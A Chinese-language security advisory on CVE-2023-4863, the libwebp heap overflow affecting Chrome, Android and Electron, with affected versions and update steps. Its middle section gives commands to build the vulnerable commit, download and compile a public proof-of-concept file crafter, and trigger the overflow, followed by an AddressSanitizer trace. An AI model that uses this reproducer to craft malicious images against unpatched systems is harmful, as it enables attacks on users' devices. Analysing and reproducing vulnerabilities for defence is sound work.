WebP图像编解码库libwebp存在堆缓冲区溢出漏洞

描述

一、漏洞概述

WebP图像编解码库libwebp存在堆缓冲区溢出漏洞(CVE-2023-4863),攻击者可以通过发送植入恶意代码的WebP图像获得设备的部分权限。  

WebP是由Google开发的一种图像格式,可为网络图像提供有损和无损压缩。它旨在减小图像的文件大小,同时不损失其视觉质量。Google Chrome是由Google开发的一款支持WebP图像格式的网页浏览器。  

由于libwebp的使用范围广泛,不仅应用于各大浏览器,还包含在系统的底层库中 (例如:Android),以及目前满大街都是的Electron中无一例外均使用了libwebp 库。请各位尽快更新浏览器及使用Electron技术的相关应用。  

但CVE-2023-4863并未包含在Google即将在下月发布的10月安全更新之中 (一般 Google会提前半个月至一个月向合作厂商发布下月安全补丁,以便厂商能够迅速修复漏洞),考虑到该漏洞已经可能有野外利用的例子,Android设备目前相对而言还是比较危险的,不知Google后续是否有额外更新计划来紧急修复该漏洞。否则按现有更新计划,可能就要等到11月安全补丁才会修复了。  

也希望Google能够像之前爆出蓝牙漏洞时那样,为已经停止支持的旧设备 (如 Pixel 4a) 提供计划外安全更新。   补充:根据Mishaal Rahman老师的消息,Google有可能推出2023-10-06安全补丁等级来专门修复该漏洞,但若厂商无意更新,则还要迟至11月安全补丁才会修复。    

  # checkout webp
$ git clone https://chromium.googlesource.com/webm/libwebp/ webp_test
$ cd webp_test/
  # checkout vulnerable version
$ git checkout 7ba44f80f3b94fc0138db159afea770ef06532a0
  # enable AddressSanitizer
$ sed -i 's/^EXTRA_FLAGS=.*/& -fsanitize=address/' makefile.unix
  # build webp
$ make -f makefile.unix
$ cd examples/
  # fetch mistymntncop's proof-of-concept code
$ wget https://raw.githubusercontent.com/mistymntncop/CVE-2023-4863/main/craft.c
  # build and run proof-of-concept
$ gcc -o craft craft.c
$ ./craft bad.webp
  # test trigger file
$ ./dwebp bad.webp -o test.png
=================================================================
==207551==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x626000002f28 at pc 0x56196a11635a bp 0x7ffd3e5cce90 sp 0x7ffd3e5cce80
WRITE of size 1 at 0x626000002f28 thread T0
#0 0x56196a116359 in BuildHuffmanTable (/home/isosceles/source/webp/webp_test/examples/dwebp+0xb6359)
#1 0x56196a1166e7 in VP8LBuildHuffmanTable (/home/isosceles/source/webp/webp_test/examples/dwebp+0xb66e7)
#2 0x56196a0956ff in ReadHuffmanCode (/home/isosceles/source/webp/webp_test/examples/dwebp+0x356ff)
#3 0x56196a09a2b5 in DecodeImageStream (/home/isosceles/source/webp/webp_test/examples/dwebp+0x3a2b5)
#4 0x56196a09e216 in VP8LDecodeHeader (/home/isosceles/source/webp/webp_test/examples/dwebp+0x3e216)
#5 0x56196a0a011b in DecodeInto (/home/isosceles/source/webp/webp_test/examples/dwebp+0x4011b)
#6 0x56196a0a2f06 in WebPDecode (/home/isosceles/source/webp/webp_test/examples/dwebp+0x42f06)
#7 0x56196a06c026 in main (/home/isosceles/source/webp/webp_test/examples/dwebp+0xc026)
#8 0x7f7ea8a8c082 in __libc_start_main ../csu/libc-start.c:308
#9 0x56196a06e09d in _start (/home/isosceles/source/webp/webp_test/examples/dwebp+0xe09d)
0x626000002f28 is located 0 bytes to the right of 11816-byte region [0x626000000100,0x626000002f28)
allocated by thread T0 here:
#0 0x7f7ea8f2d808 in __interceptor_malloc ../../../../src/libsanitizer/asan/asan_malloc_linux.cc:144
#1 0x56196a09a0eb in DecodeImageStream (/home/isosceles/source/webp/webp_test/examples/dwebp+0x3a0eb)
SUMMARY: AddressSanitizer: heap-buffer-overflow (/home/isosceles/source/webp/webp_test/examples/dwebp+0xb6359) in BuildHuffmanTable
...

 


二、影响范围

Google Chrome(Windows)版本 < 116.0.5845.187/.188

Google Chrome(Mac/Linux)版本 < 116.0.5845.187

三、安全措施3.1 升级版本

目前该漏洞已经修复,受影响用户可升级到以下版本:

Google Chrome(Windows)版本 >=116.0.5845.187/.188

Google Chrome(Mac/Linux)版本 >=116.0.5845.187

四、下载地址

五、手动检查更新
可在Chrome 菜单-【帮助】-【关于 Google Chrome】检查版本更新,并在更新完成后重新启动。 Google   Google   升级后的版本号:Version 117.0.5938.92 (Official Build) (64-bit)

 

Google

  审核编辑:汤梓红

 

打开APP阅读更多精彩内容
声明:本文内容及配图由入驻作者撰写或者入驻合作网站授权转载。文章观点仅代表作者本人,不代表电子发烧友网立场。文章及其配图仅供工程师学习之用,如有内容侵权或者其他违规问题,请联系本站处理。 举报投诉

全部0条评论

快来发表一下你的评论吧 !

×
20
完善资料,
赚取积分